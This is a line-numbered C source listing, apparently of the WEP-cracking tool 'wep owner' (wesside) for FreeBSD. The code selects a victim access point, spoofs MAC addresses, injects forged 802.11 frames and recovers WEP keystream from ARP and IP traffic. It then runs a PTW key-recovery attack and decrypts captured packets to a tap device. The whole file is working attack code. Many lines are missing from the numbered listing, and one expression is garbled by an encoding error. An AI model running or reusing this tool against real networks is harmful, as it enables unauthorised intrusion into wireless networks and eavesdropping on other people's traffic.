2 * wep owner by sorbo <sorbox@yahoo.com>
5 * XXX GENERAL: I DON'T CHECK FOR PACKET LENGTHS AND STUFF LIKE THAT and buffer
6 * overflows. this whole thing is experimental n e way.
11 #include <sys/types.h>
12 #include <sys/socket.h>
13 #include <sys/ioctl.h>
14 #include <sys/endian.h>
19 #include <net/if_media.h>
20 #include <net/if_llc.h>
21 #include <net/if_arp.h>
22 #include <net/if_types.h>
23 #include <net/if_dl.h>
25 #include <net/ethernet.h>
26 #include <net80211/ieee80211.h>
27 #include <net80211/ieee80211_ioctl.h>
28 #include <net80211/ieee80211_radiotap.h>
29 #include <net80211/ieee80211_freebsd.h>
30 #include <netinet/in.h>
31 #include <netinet/in_systm.h>
32 #include <netinet/ip.h>
33 #include <netinet/udp.h>
34 #include <arpa/inet.h>
48 #include "aircrack-ptw-lib.h"
51 #define FOUND_VICTIM 1
52 #define SENDING_AUTH 2
55 #define SENDING_ASSOC 5
60 struct timeval arpsend;
71 struct ieee80211req ireq;
82 struct ieee80211_frame wh;
96 struct decrypt_state {
97 unsigned char* cipher;
99 struct prga_info prgainfo;
100 struct frag_state fragstate;
104 unsigned int packets;
110 #define LINKTYPE_IEEE802_11 105
111 #define TCPDUMP_MAGIC 0xA1B2C3D4
113 unsigned char* floodip = 0;
114 unsigned short floodport = 6969;
115 unsigned short floodsport = 53;
117 unsigned char* netip = 0;
121 unsigned char* rtrmac = 0;
123 unsigned char mymac[] = "\x00\x00\xde\xfa\xce\x0d";
124 unsigned char myip[16] = "192.168.0.123";
129 PTW_attackstate *ptw;
131 unsigned char *victim_mac = 0;
133 int ack_timeout = 100*1000;
135 #define ARPLEN (8+ 8 + 20)
136 unsigned char arp_clear[] = "\xAA\xAA\x03\x00\x00\x00\x08\x06";
137 unsigned char ip_clear[] = "\xAA\xAA\x03\x00\x00\x00\x08\x00";
138 #define S_LLC_SNAP "\xAA\xAA\x03\x00\x00\x00"
139 #define S_LLC_SNAP_ARP (S_LLC_SNAP "\x08\x06")
140 #define S_LLC_SNAP_IP (S_LLC_SNAP "\x08\x00")
142 #define MCAST_PREF "\x01\x00\x5e\x00\x00"
144 #define WEP_FILE "wep.cap"
145 #define KEY_FILE "key.log"
146 #define PRGA_FILE "prga.log"
148 unsigned int min_prga = 128;
151 * When starting aircrack we try first to use a
152 * local copy, falling back to where the installed
153 * version is expected.
154 * XXX builtin pathnames
156 #define CRACK_LOCAL_CMD "../aircrack/aircrack"
157 #define CRACK_INSTALL_CMD "/usr/local/bin/aircrack"
160 int thresh_incr = INCR;
162 #define MAGIC_TTL_PAD 69
165 int wep_thresh = INCR;
167 struct timeval crack_start;
168 struct timeval real_start;
170 /* linksys does this. The hardware pads small packets. */
171 #define PADDED_ARPLEN 54
173 #define PRGA_LEN (1500-14-20-8)
174 unsigned char inet_clear[8+20+8+PRGA_LEN+4];
176 #define DICT_PATH "dict"
177 #define TAP_DEV "/dev/tap3"
178 unsigned char tapdev[16];
179 unsigned char taptx[4096];
180 unsigned int taptx_len = 0;
185 unsigned short in_cksum (unsigned short *ptr, int nbytes) {
188 register u_short answer;
200 *((u_char *) & oddbyte) = *(u_char *) ptr;
204 sum = (sum >> 16) + (sum & 0xffff);
212 unsigned int udp_checksum(unsigned char *stuff, int len, struct in_addr *sip,
213 struct in_addr *dip) {
217 tmp = (unsigned char*) malloc(len + sizeof(struct ippseudo));
221 ph = (struct ippseudo*) tmp;
223 memcpy(&ph->ippseudo_src, sip, 4);
224 memcpy(&ph->ippseudo_dst, dip, 4);
225 ph->ippseudo_pad = 0;
226 ph->ippseudo_p = IPPROTO_UDP;
227 ph->ippseudo_len = htons(len);
229 memcpy(tmp + sizeof(struct ippseudo), stuff, len);
231 return in_cksum((unsigned short*)tmp, len+sizeof(struct ippseudo));
234 void time_print(char* fmt, ...) {
241 vsnprintf(lame, sizeof(lame), fmt, ap);
246 if (tt == (time_t)-1) {
253 perror("localtime()");
257 printf("[%.2d:%.2d:%.2d] %s",
258 t->tm_hour, t->tm_min, t->tm_sec, lame);
267 fd = open(KEY_FILE, O_RDONLY);
273 rd = read(fd, buf, sizeof(buf) -1);
284 time_print("KEY=(%s)\n", buf);
286 if (gettimeofday(&now, NULL) == -1) {
287 perror("gettimeofday()");
291 printf ("Owned in %.02f minutes\n",
292 ((double) now.tv_sec - real_start.tv_sec)/60.0);
301 time_print("Stopping crack PID=%d\n", crack_pid);
303 // XXX doesn't return -1 for some reason! [maybe on my box... so it
304 // might be buggy on other boxes...]
305 if (kill(crack_pid, SIGINT) == -1) {
315 void cleanup(int x) {
316 time_print("\nDying...\n");
326 void set_chan(int c) {
327 if (c == chaninfo.chan)
330 chaninfo.ireq.i_val = c;
332 if (ioctl(chaninfo.s, SIOCS80211, &chaninfo.ireq) == -1) {
333 perror("ioctl(SIOCS80211) [chan]");
339 void set_if_mac(unsigned char* mac, unsigned char *name) {
343 s = socket(PF_INET, SOCK_DGRAM, 0);
349 memset(&ifr, 0, sizeof(ifr));
350 strcpy(ifr.ifr_name, name);
352 ifr.ifr_addr.sa_family = AF_LINK;
353 ifr.ifr_addr.sa_len = 6;
354 memcpy(ifr.ifr_addr.sa_data, mac, 6);
356 if (ioctl(s, SIOCSIFLLADDR, &ifr) == -1) {
357 perror("ioctl(SIOCSIFLLADDR)");
364 void setup_if(char *dev) {
368 struct ifmediareq ifmr;
371 if(strlen(dev) >= IFNAMSIZ) {
372 time_print("Interface name too long...\n");
376 time_print("Setting up %s... ", dev);
379 set_if_mac(mymac, dev);
381 s = socket(PF_INET, SOCK_DGRAM, 0);
387 // set iface up and promisc
388 memset(&ifr, 0, sizeof(ifr));
389 strcpy(ifr.ifr_name, dev);
390 if (ioctl(s, SIOCGIFFLAGS, &ifr) == -1) {
391 perror("ioctl(SIOCGIFFLAGS)");
395 flags = (ifr.ifr_flags & 0xffff) | (ifr.ifr_flagshigh << 16);
396 flags |= IFF_UP | IFF_PPROMISC;
398 memset(&ifr, 0, sizeof(ifr));
399 strcpy(ifr.ifr_name, dev);
400 ifr.ifr_flags = flags & 0xffff;
401 ifr.ifr_flagshigh = flags >> 16;
402 if (ioctl(s, SIOCSIFFLAGS, &ifr) == -1) {
403 perror("ioctl(SIOCSIFFLAGS)");
408 memset(&ifmr, 0, sizeof(ifmr));
409 strcpy(ifmr.ifm_name, dev);
410 if (ioctl(s, SIOCGIFMEDIA, &ifmr) == -1) {
411 perror("ioctl(SIOCGIFMEDIA)");
415 if (ifmr.ifm_count == 0) {
416 time_print("0 media thinggies...\n");
420 mwords = (int *)malloc(ifmr.ifm_count * sizeof(int));
425 ifmr.ifm_ulist = mwords;
427 if (ioctl(s, SIOCGIFMEDIA, &ifmr) == -1) {
428 perror("ioctl(SIOCGIFMEDIA)");
433 memset(&ifr, 0, sizeof(ifr));
434 strcpy(ifr.ifr_name, dev);
435 ifr.ifr_media = ifmr.ifm_current | IFM_IEEE80211_MONITOR;
436 if (ioctl(s, SIOCSIFMEDIA, &ifr) == -1) {
437 perror("ioctl(SIOCSIFMEDIA)");
442 memset(&chaninfo.ireq, 0, sizeof(chaninfo.ireq));
443 strcpy(chaninfo.ireq.i_name, dev);
444 chaninfo.ireq.i_type = IEEE80211_IOC_CHANNEL;
453 int open_bpf(char *dev, int dlt) {
459 for(i = 0;i < 16; i++) {
460 sprintf(buf, "/dev/bpf%d", i);
462 fd = open(buf, O_RDWR);
465 perror("can't open /dev/bpf");
475 perror("can't open /dev/bpf");
479 strncpy(ifr.ifr_name, dev, sizeof(ifr.ifr_name)-1);
480 ifr.ifr_name[sizeof(ifr.ifr_name)-1] = 0;
482 if(ioctl(fd, BIOCSETIF, &ifr) < 0) {
483 perror("ioctl(BIOCSETIF)");
487 if (ioctl(fd, BIOCSDLT, &dlt) < 0) {
488 perror("ioctl(BIOCSDLT)");
493 if(ioctl(fd, BIOCIMMEDIATE, &i) < 0) {
494 perror("ioctl(BIOCIMMEDIATE)");
501 void hexdump(unsigned char *ptr, int len) {
503 printf("%.2X ", *ptr);
509 char* mac2str(unsigned char* mac) {
510 static char ret[6*3];
512 sprintf(ret, "%.2X:%.2X:%.2X:%.2X:%.2X:%.2X",
513 mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]);
518 void inject(int fd, void *buf, int len)
520 static struct ieee80211_bpf_params params = {
521 .ibp_vers = IEEE80211_BPF_VERSION,
522 /* NB: no need to pass series 2-4 rate+try */
523 .ibp_len = sizeof(struct ieee80211_bpf_params) - 6,
524 .ibp_rate0 = 2, /* 1 MB/s XXX */
525 .ibp_try0 = 1, /* no retransmits */
526 .ibp_flags = IEEE80211_BPF_NOACK,
527 .ibp_power = 100, /* nominal max */
528 .ibp_pri = WME_AC_VO, /* high priority */
533 iov[0].iov_base = ¶ms;
534 iov[0].iov_len = params.ibp_len;
535 iov[1].iov_base = buf;
536 iov[1].iov_len = len;
537 rc = writev(fd, iov, 2);
542 if (rc != (len + iov[0].iov_len)) {
543 time_print("Error Wrote %d out of %d\n", rc,
549 void send_frame(int tx, unsigned char* buf, int len) {
550 static unsigned char* lame = 0;
551 static int lamelen = 0;
552 static int lastlen = 0;
558 if (txstate.retries > 10) {
559 time_print("ERROR Max retransmists for (%d bytes):\n",
561 hexdump(&lame[0], lastlen);
565 // printf("Warning doing a retransmit...\n");
569 assert(!txstate.waiting_ack);
575 lame = (unsigned char*) malloc(len);
584 memcpy(lame, buf, len);
589 inject(tx, lame, len);
591 txstate.waiting_ack = 1;
593 if (gettimeofday(&txstate.tsent, NULL) == -1) {
594 perror("gettimeofday()");
599 printf("Wrote frame at %lu.%lu\n",
600 txstate.tsent.tv_sec, txstate.tsent.tv_usec);
604 unsigned short fnseq(unsigned short fn, unsigned short seq) {
605 unsigned short r = 0;
608 time_print("too many fragments (%d)\n", fn);
614 r |= ( (seq % 4096) << IEEE80211_SEQ_SEQ_SHIFT);
619 void fill_basic(struct ieee80211_frame* wh) {
622 memcpy(wh->i_addr1, victim.bss, 6);
623 memcpy(wh->i_addr2, mymac, 6);
624 memcpy(wh->i_addr3, victim.bss, 6);
628 sp = (unsigned short*) wh->i_seq;
629 *sp = fnseq(0, txstate.psent);
631 sp = (unsigned short*) wh->i_dur;
632 *sp = htole16(32767);
635 void send_assoc(int tx) {
636 unsigned char buf[128];
637 struct ieee80211_frame* wh = (struct ieee80211_frame*) buf;
641 memset(buf, 0, sizeof(buf));
643 wh->i_fc[0] |= IEEE80211_FC0_TYPE_MGT | IEEE80211_FC0_SUBTYPE_ASSOC_REQ;
645 body = (unsigned char*) wh + sizeof(*wh);
646 *body = 1 | IEEE80211_CAPINFO_PRIVACY; // cap
652 ssidlen = strlen(victim.ssid);
654 memcpy(body, victim.ssid, ssidlen);
665 send_frame(tx, buf, sizeof(*wh) + 2 + 2 + 2 +
666 strlen(victim.ssid) + 2 + 4);
669 void wepify(unsigned char* body, int dlen) {
674 assert(dlen + 4 <= prgainfo.len);
677 memcpy(body, prgainfo.iv, 3);
682 crc = crc32(0L, Z_NULL, 0);
683 crc = crc32(crc, body, dlen);
684 pcrc = (unsigned long*) (body+dlen);
687 for (i = 0; i < dlen +4; i++)
688 *body++ ^= prgainfo.prga[i];
691 void send_auth(int tx) {
692 unsigned char buf[128];
693 struct ieee80211_frame* wh = (struct ieee80211_frame*) buf;
696 memset(buf, 0, sizeof(buf));
698 wh->i_fc[0] |= IEEE80211_FC0_TYPE_MGT | IEEE80211_FC0_SUBTYPE_AUTH;
700 n = (unsigned short*) ((unsigned char*) wh + sizeof(*wh));
704 send_frame(tx, buf, sizeof(*wh) + 2 + 2 + 2);
707 int get_victim_ssid(struct ieee80211_frame* wh, int len) {
710 int gots = 0, gotc = 0;
712 if (len <= sizeof(*wh)) {
713 time_print("Warning: short packet in get_victim_ssid()\n");
717 ptr = (unsigned char*)wh + sizeof(*wh);
721 if ( !(IEEE80211_BEACON_CAPABILITY(ptr) & IEEE80211_CAPINFO_PRIVACY)) {
725 // we want a specific victim
727 if (memcmp(wh->i_addr3, victim_mac, 6) != 0)
734 time_print("Warning short.asdfasdf\n");
752 time_print("Warning short....\n");
761 victim.ssid = (char*) malloc(elen + 1);
767 memcpy(victim.ssid, ptr, elen);
768 victim.ssid[elen] = 0;
775 time_print("Warning len of chan not 1\n");
788 memcpy(victim.bss, wh->i_addr3, 6);
789 set_chan(victim.chan);
790 state = FOUND_VICTIM;
791 time_print("Found SSID(%s) BSS=(%s) chan=%d\n",
792 victim.ssid, mac2str(victim.bss), victim.chan);
798 void send_ack(int tx) {
802 void do_llc(unsigned char* buf, unsigned short type) {
803 struct llc* h = (struct llc*) buf;
805 memset(h, 0, sizeof(*h));
806 h->llc_dsap = LLC_SNAP_LSAP;
807 h->llc_ssap = LLC_SNAP_LSAP;
808 h->llc_un.type_snap.control = 3;
809 h->llc_un.type_snap.ether_type = htons(type);
812 void calculate_inet_clear() {
819 memset(inet_clear, 0, sizeof(inet_clear));
821 do_llc(inet_clear, ETHERTYPE_IP);
823 ih = (struct ip*) &inet_clear[8];
827 ih->ip_len = htons(20+8+PRGA_LEN);
828 ih->ip_id = htons(666);
830 ih->ip_ttl = ttl_val;
831 ih->ip_p = IPPROTO_UDP;
833 inet_aton(floodip, &ih->ip_src);
834 inet_aton(myip, &ih->ip_dst);
835 ih->ip_sum = in_cksum((unsigned short*)ih, 20);
837 uh = (struct udphdr*) ((char*)ih + 20);
838 uh->uh_sport = htons(floodport);
839 uh->uh_dport = htons(floodsport);
840 uh->uh_ulen = htons(8+PRGA_LEN);
842 uh->uh_sum = udp_checksum((unsigned char*)uh, 8+PRGA_LEN,
843 &ih->ip_src, &ih->ip_dst);
846 dlen = 8 + 20 + 8 + PRGA_LEN;
847 assert (dlen + 4 <= sizeof(inet_clear));
849 crc = crc32(0L, Z_NULL, 0);
850 crc = crc32(crc, inet_clear, dlen);
851 pcrc = (unsigned long*) (inet_clear+dlen);
855 printf("INET %d\n", sizeof(inet_clear));
856 hexdump(inet_clear, sizeof(inet_clear));
860 void set_prga(unsigned char* iv, unsigned char* cipher,
861 unsigned char* clear, int len) {
866 if (prgainfo.len != 0)
869 prgainfo.prga = (unsigned char*) malloc(len);
870 if (!prgainfo.prga) {
876 memcpy(prgainfo.iv, iv, 3);
878 for (i = 0; i < len; i++) {
879 prgainfo.prga[i] = ( cipher ? (clear[i] ^ cipher[i]) :
883 time_print("Got %d bytes of prga IV=(%.02x:%.02x:%.02x) PRGA=",
884 prgainfo.len, prgainfo.iv[0], prgainfo.iv[1], prgainfo.iv[2]);
885 hexdump(prgainfo.prga, prgainfo.len);
890 fd = open(PRGA_FILE, O_WRONLY | O_CREAT,
891 S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH);
898 i = write(fd, prgainfo.iv, 3);
904 printf("Wrote %d out of %d\n", i, 3);
908 i = write(fd, prgainfo.prga, prgainfo.len);
913 if (i != prgainfo.len) {
914 printf("Wrote %d out of %d\n", i, prgainfo.len);
922 void log_dictionary(unsigned char* body, int len) {
926 unsigned char path[128];
927 unsigned char file_clear[sizeof(inet_clear)];
930 len -= 4; // IV etc..
931 assert (len == sizeof(inet_clear));
935 if (len > prgainfo.len)
936 set_prga(body, data, inet_clear, len);
939 for (i = 0; i < 3; i++)
940 snprintf(paths[i], sizeof(paths[i]), "%.2X", body[i]);
943 strcpy(path, DICT_PATH);
947 for (i = 0; i < 2; i++) {
949 strcat(path, paths[i]);
950 fd = open(path, O_RDONLY);
952 if (errno != ENOENT) {
957 if (mkdir(path, 0755) == -1) {
968 strcat(path, paths[2]);
970 fd = open(path, O_RDWR);
971 // already exists... see if we are consistent...
973 rd = read(fd, file_clear, sizeof(file_clear));
980 // check consistency....
981 for (i = 0; i < rd; i++) {
983 (data[i] ^ inet_clear[i])) {
985 printf("Mismatch in byte %d for:\n", i);
986 hexdump(body, len+4);
992 if (i >= sizeof(inet_clear)) {
994 time_print("Not logging IV %.2X:%.2X:%.2X cuz we got it\n",
995 body[0], body[1], body[2]);
1001 // file has less... fd still open
1004 fd = open(path, O_WRONLY | O_CREAT, 0644);
1006 printf("Can't open (%s): %s\n", path,
1012 assert (sizeof(file_clear) >= sizeof(inet_clear));
1014 for(i = 0; i < len; i++)
1015 file_clear[i] = data[i] ^ inet_clear[i];
1017 rd = write(fd, file_clear, len);
1023 printf("Wrote %d of %d\n", rd, len);
1029 void stuff_for_us(struct ieee80211_frame* wh, int len) {
1031 unsigned char* body;
1033 type = wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK;
1034 stype = wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK;
1036 body = (unsigned char*) wh + sizeof(*wh);
1039 if (type == IEEE80211_FC0_TYPE_CTL) {
1040 if (stype == IEEE80211_FC0_SUBTYPE_ACK) {
1041 txstate.waiting_ack = 0;
1045 if (stype == IEEE80211_FC0_SUBTYPE_RTS) {
1049 if (stype == IEEE80211_FC0_SUBTYPE_CTS) {
1052 time_print ("got CTL=%x\n", stype);
1057 if (type == IEEE80211_FC0_TYPE_MGT) {
1058 if (stype == IEEE80211_FC0_SUBTYPE_DEAUTH) {
1059 unsigned short* rc = (unsigned short*) body;
1061 time_print("Got deauth=%u\n", le16toh(*rc));
1062 state = FOUND_VICTIM;
1066 else if (stype == IEEE80211_FC0_SUBTYPE_AUTH) {
1067 unsigned short* sc = (unsigned short*) body;
1070 time_print("Warning got auth algo=%x\n", *sc);
1077 time_print("Warning got auth seq=%x\n", *sc);
1084 time_print("Auth rejected... trying to spoof mac.\n");
1088 else if (*sc == 0) {
1089 time_print("Authenticated\n");
1094 time_print("Got auth %x\n", *sc);
1098 else if (stype == IEEE80211_FC0_SUBTYPE_ASSOC_RESP) {
1099 unsigned short* sc = (unsigned short*) body;
1104 unsigned int aid = le16toh(*sc) & 0x3FFF;
1105 time_print("Associated (ID=%x)\n", aid);
1108 } else if (*sc == 12) {
1109 time_print("Assoc rejected..."
1110 " trying to spoof mac.\n");
1114 time_print("got assoc %x\n", *sc);
1117 } else if (stype == IEEE80211_FC0_SUBTYPE_PROBE_RESP) {
1121 time_print("\nGOT MAN=%x\n", stype);
1125 if (type == IEEE80211_FC0_TYPE_DATA &&
1126 stype == IEEE80211_FC0_SUBTYPE_DATA) {
1128 dlen = len - sizeof(*wh) - 4 -4;
1130 if (!( wh->i_fc[1] & IEEE80211_FC1_WEP)) {
1131 time_print("WARNING: Got NON wep packet from %s dlen %d stype=%x\n",
1132 mac2str(wh->i_addr2), dlen, stype);
1136 assert (wh->i_fc[1] & IEEE80211_FC1_WEP);
1138 if ((dlen == 36 || dlen == PADDED_ARPLEN) && rtrmac == (unsigned char*) 1) {
1139 rtrmac = (unsigned char *) malloc(6);
1145 assert( rtrmac > (unsigned char*) 1);
1147 memcpy (rtrmac, wh->i_addr3, 6);
1148 time_print("Got arp reply from (%s)\n", mac2str(rtrmac));
1153 // check if its a TTL update from dictionary stuff
1154 if (dlen >= (8+20+8+MAGIC_TTL_PAD) &&
1155 dlen <= (8+20+8+MAGIC_TTL_PAD+128)) {
1156 int ttl_delta, new_ttl;
1158 ttl_delta = dlen - 8 - 20 - 8 - MAGIC_TTL_PAD;
1159 new_ttl = 128 - ttl_delta;
1161 if (ttl_val && new_ttl != ttl_val) {
1162 time_print("oops. ttl changed from %d to %d\n",
1170 time_print("Got TTL of %d\n", ttl_val);
1171 calculate_inet_clear();
1175 // check if its dictionary data
1176 if (ttl_val && dlen == (8+20+8+PRGA_LEN)) {
1177 log_dictionary(body, len - sizeof(*wh));
1183 printf ("Got frame for us (type=%x stype=%x) from=(%s) len=%d\n",
1184 type, stype, mac2str(wh->i_addr2), len);
1188 void decrypt_arpreq(struct ieee80211_frame* wh, int rd) {
1189 unsigned char* body;
1191 unsigned char clear[36];
1196 body = (unsigned char*) wh+sizeof(*wh);
1199 // calculate clear-text
1200 memcpy(ptr, arp_clear, sizeof(arp_clear)-1);
1201 ptr += sizeof(arp_clear) -1;
1203 h = (struct arphdr*)ptr;
1204 h->ar_hrd = htons(ARPHRD_ETHER);
1205 h->ar_pro = htons(ETHERTYPE_IP);
1208 h->ar_op = htons(ARPOP_REQUEST);
1211 memcpy(ptr, wh->i_addr3, 6);
1213 bodylen = rd - sizeof(*wh) - 4 - 4;
1214 decryptstate.clen = bodylen;
1215 decryptstate.cipher = (unsigned char*) malloc(decryptstate.clen);
1216 if (!decryptstate.cipher) {
1220 decryptstate.prgainfo.prga = (unsigned char*) malloc(decryptstate.clen);
1221 if (!decryptstate.prgainfo.prga) {
1227 memcpy(decryptstate.cipher, &body[4], decryptstate.clen);
1228 memcpy(decryptstate.prgainfo.iv, body, 3);
1230 memset(decryptstate.prgainfo.prga, 0, decryptstate.clen);
1231 for(i = 0; i < (8+8+6); i++) {
1232 decryptstate.prgainfo.prga[i] = decryptstate.cipher[i] ^
1236 decryptstate.prgainfo.len = i;
1237 time_print("Got ARP request from (%s)\n", mac2str(wh->i_addr3));
1240 void log_wep(struct ieee80211_frame* wh, int len) {
1242 struct pcap_pkthdr pkh;
1244 unsigned char *body = (unsigned char*) (wh+1);
1246 memset(&pkh, 0, sizeof(pkh));
1247 pkh.caplen = pkh.len = len;
1248 if (gettimeofday(&tv, NULL) == -1)
1249 err(1, "gettimeofday()");
1251 if (write(weplog.fd, &pkh, sizeof(pkh)) != sizeof(pkh))
1254 rd = write(weplog.fd, wh, len);
1261 time_print("short write %d out of %d\n", rd, len);
1266 if (fsync(weplog.fd) == -1) {
1272 memcpy(weplog.iv, body, 3);
1276 void try_dictionary(struct ieee80211_frame* wh, int len) {
1277 unsigned char *body;
1282 unsigned char packet[4096];
1284 struct ether_header* eh;
1286 unsigned long *pcrc;
1287 unsigned char* dmac, *smac;
1289 assert (len < sizeof(packet) + sizeof(*eh));
1291 body = (unsigned char*) wh + sizeof(*wh);
1293 for (i = 0; i < 3; i++)
1294 snprintf(paths[i], sizeof(paths[i]), "%.2X", body[i]);
1296 sprintf(path, "%s/%s/%s/%s", DICT_PATH, paths[0], paths[1], paths[2]);
1298 fd = open(path, O_RDONLY);
1302 rd = read(fd, &packet[6], sizeof(packet)-6);
1310 dlen = len - sizeof(*wh) - 4;
1313 time_print("Had PRGA (%s) but too little (%d/%d)\n", path, rd,
1319 for (i = 0; i < dlen; i++)
1320 packet[6+i] ^= body[i];
1323 crc = crc32(0L, Z_NULL, 0);
1324 crc = crc32(crc, &packet[6], dlen);
1325 pcrc = (unsigned long*) (&packet[6+dlen]);
1329 time_print("HAD PRGA (%s) checksum mismatch! (%x %x)\n",
1334 // fill ethernet header
1335 eh = (struct ether_header*) packet;
1336 if (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS)
1341 if (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS)
1346 memcpy(eh->ether_dhost, dmac, 6);
1347 memcpy(eh->ether_shost, smac, 6);
1348 // ether type should be there from llc
1351 dlen += sizeof(*eh);
1355 time_print("Decrypted packet [%d bytes]!!! w00t\n", dlen);
1356 hexdump(packet, dlen);
1359 rd = write(tapfd, packet, dlen);
1365 printf("Wrote %d / %d\n", rd, dlen);
1370 int is_arp(struct ieee80211_frame *wh, int len)
1372 int arpsize = 8 + sizeof(struct arphdr) + 10*2;
1374 if (len == arpsize || len == 54)
1380 void *get_sa(struct ieee80211_frame *wh)
1382 if (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS)
1388 void *get_da(struct ieee80211_frame *wh)
1390 if (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS)
1396 int known_clear(void *clear, struct ieee80211_frame *wh, int len)
1398 unsigned char *ptr = clear;
1401 if (!is_arp(wh, len)) {
1402 unsigned short iplen = htons(len - 8);
1404 // printf("Assuming IP %d\n", len);
1406 len = sizeof(S_LLC_SNAP_IP) - 1;
1407 memcpy(ptr, S_LLC_SNAP_IP, len);
1411 memcpy(ptr, "\x45\x00", len);
1414 memcpy(ptr, &iplen, len);
1417 len = ptr - ((unsigned char*)clear);
1420 // printf("Assuming ARP %d\n", len);
1423 len = sizeof(S_LLC_SNAP_ARP) - 1;
1424 memcpy(ptr, S_LLC_SNAP_ARP, len);
1429 memcpy(ptr, "\x00\x01\x08\x00\x06\x04", len);
1434 if (memcmp(get_da(wh), "\xff\xff\xff\xff\xff\xff", 6) == 0)
1435 memcpy(ptr, "\x00\x01", len);
1437 memcpy(ptr, "\x00\x02", len);
1442 memcpy(ptr, get_sa(wh), len);
1445 len = ptr - ((unsigned char*)clear);
1449 void add_keystream(struct ieee80211_frame* wh, int rd)
1451 unsigned char clear[1024];
1452 int dlen = rd - sizeof(struct ieee80211_frame) - 4 - 4;
1454 unsigned char *body = (unsigned char*) (wh+1);
1457 clearsize = known_clear(clear, wh, dlen);
1461 for (i = 0; i < 16; i++)
1462 clear[i] ^= body[4+i];
1464 PTW_addsession(ptw, body, clear);
1467 void got_wep(struct ieee80211_frame* wh, int rd) {
1470 unsigned char clear[1024];
1472 unsigned char *body;
1474 bodylen = rd - sizeof(struct ieee80211_frame);
1476 dlen = bodylen - 4 - 4;
1477 body = (unsigned char*) wh + sizeof(*wh);
1480 // log it if its stuff not from us...
1481 if ( (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) ||
1482 ( (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) &&
1483 memcmp(wh->i_addr2, mymac, 6) != 0) ) {
1486 time_print("Key index=%x!!\n", body[3]);
1490 add_keystream(wh, rd);
1492 // try to decrypt too
1493 try_dictionary(wh, rd);
1496 // look for arp-request packets... so we can decrypt em
1497 if ((wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) &&
1498 (memcmp(wh->i_addr3, mymac, 6) != 0) &&
1499 (memcmp(wh->i_addr1, "\xff\xff\xff\xff\xff\xff", 6) == 0) &&
1500 (dlen == 36 || dlen == PADDED_ARPLEN) &&
1501 !decryptstate.cipher &&
1503 decrypt_arpreq(wh, rd);
1506 // we have prga... check if its our stuff being relayed...
1507 if (prgainfo.len != 0) {
1509 if ((wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) &&
1510 (memcmp(wh->i_addr3, mymac, 6) == 0) &&
1511 (memcmp(wh->i_addr1, "\xff\xff\xff\xff\xff\xff", 6) == 0) &&
1512 dlen == fragstate.len) {
1514 // printf("I fink AP relayed it...\n");
1515 set_prga(body, &body[4], fragstate.data, dlen);
1516 free(fragstate.data);
1518 fragstate.waiting_relay = 0;
1521 // see if we get the multicast stuff of when decrypting
1522 if ((wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) &&
1523 (memcmp(wh->i_addr3, mymac, 6) == 0) &&
1524 (memcmp(wh->i_addr1, MCAST_PREF, 5) == 0) &&
1527 unsigned char pr = wh->i_addr1[5];
1530 time_print("Got clear-text byte: %d\n",
1531 decryptstate.cipher[decryptstate.prgainfo.len-1] ^ pr);
1533 decryptstate.prgainfo.prga[decryptstate.prgainfo.len-1] = pr;
1534 decryptstate.prgainfo.len++;
1535 decryptstate.fragstate.waiting_relay = 1;
1537 // ok we got the ip...
1538 if (decryptstate.prgainfo.len == 26+1) {
1539 unsigned char ip[4];
1541 struct in_addr *in = (struct in_addr*) ip;
1544 for (i = 0; i < 4; i++)
1545 ip[i] = decryptstate.cipher[8+8+6+i] ^
1546 decryptstate.prgainfo.prga[8+8+6+i];
1549 netip = (unsigned char*) malloc(16);
1555 memset(netip, 0, 16);
1556 strcpy(netip, inet_ntoa(*in));
1558 time_print("Got IP=(%s)\n", netip);
1559 strcpy(myip, netip);
1561 ptr = strchr(myip, '.');
1563 ptr = strchr(ptr+1, '.');
1565 ptr = strchr(ptr+1, '.');
1567 strcpy(ptr+1,"123");
1569 time_print("My IP=(%s)\n", myip);
1572 free(decryptstate.prgainfo.prga);
1573 free(decryptstate.cipher);
1574 memset(&decryptstate, 0, sizeof(decryptstate));
1580 clearsize = known_clear(clear, wh, dlen);
1581 time_print("Datalen %d Known clear %d\n", dlen, clearsize);
1583 set_prga(body, &body[4], clear, clearsize);
1586 void stuff_for_net(struct ieee80211_frame* wh, int rd) {
1589 type = wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK;
1590 stype = wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK;
1592 if (type == IEEE80211_FC0_TYPE_DATA &&
1593 stype == IEEE80211_FC0_SUBTYPE_DATA) {
1594 int dlen = rd - sizeof(struct ieee80211_frame);
1596 if (state == SPOOF_MAC) {
1597 unsigned char mac[6];
1598 if (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) {
1599 memcpy(mac, wh->i_addr3, 6);
1600 } else if (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) {
1601 memcpy(mac, wh->i_addr1, 6);
1604 if (mac[0] == 0xff || mac[0] == 0x1)
1607 memcpy(mymac, mac, 6);
1608 time_print("Trying to use MAC=(%s)\n", mac2str(mymac));
1609 state = FOUND_VICTIM;
1614 if ( (wh->i_fc[1] & IEEE80211_FC1_WEP) && dlen > (4+8+4)) {
1620 void anal(unsigned char* buf, int rd, int tx) { // yze
1621 struct ieee80211_frame* wh = (struct ieee80211_frame *) buf;
1623 static int lastseq = -1;
1625 unsigned short *seqptr;
1629 time_print("rd=%d\n", rd);
1633 type = wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK;
1634 stype = wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK;
1637 if (state >= FOUND_VICTIM) {
1639 if (memcmp(wh->i_addr1, mymac, 6) == 0) {
1641 if (type != IEEE80211_FC0_TYPE_CTL)
1646 // XXX i know it aint great...
1647 seqptr = (unsigned short*) wh->i_seq;
1648 seq = (*seqptr & IEEE80211_SEQ_SEQ_MASK) >> IEEE80211_SEQ_SEQ_SHIFT;
